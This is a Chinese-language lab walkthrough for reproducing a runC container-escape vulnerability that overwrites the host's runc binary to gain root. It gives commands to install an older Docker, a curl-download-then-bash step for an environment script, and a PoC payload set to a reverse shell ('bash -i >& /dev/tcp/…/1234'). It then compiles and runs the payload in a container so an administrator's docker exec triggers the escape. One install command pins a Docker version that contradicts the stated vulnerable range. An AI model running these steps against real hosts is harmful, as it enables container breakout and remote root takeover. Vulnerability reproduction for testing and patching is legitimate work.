漏洞简述:
攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
利用条件:
Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)
可通过 docker 和docker-runc 查看当前版本情况。
安装低版本Docer
如果你过去安装过 docker,先删掉:
sudo apt-get remove docker docker-engine docker.io
更新源
sudo apt-get update
安装依赖:
sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
信任 Docker 的 GPG 公钥:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
对于 amd64 架构的计算机,添加软件仓库:
我是Ubuntu16.04,同房时设置下载仓库路径为清华大学的,提高下载速度,好多人安装失败就是因为下载速度不行,因为你的下载路径可能是:”deb [arch=amd64] https://download.docker.com/linux/ubuntu “
sudo add-apt-repository
“deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu
$(lsb_release -cs)
stable”
查看docker-ce的版本
apt-cache madison docker-ce
下载Docker
sudo apt-get install docker-ce=5:19.03.9
3-0ubuntu-focal
漏洞测试复现:
漏洞环境准备:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
或者直接下载脚本安装
chmod 777 install.sh && ./install.sh
下载POC,编译脚本
# 下载POC
# 修改Payload
vi main.go
payload = “#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1”
# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
模仿攻击者,在容器中执行payload
# 拷贝到docker容器
sudo docker cp ./main 248f8b7d3c45:/tmp
# 进入容器
sudo docker exec -it 248f8b7d3c45 /bin/bash
修改权限
chmod 777 main
执行Payload
./main
假设,管理员通过exec进入容器,从而触发Payload。
sudo docker exec -it 64123a385dfd /bin/bash
管理员进入
触发漏洞
反弹shell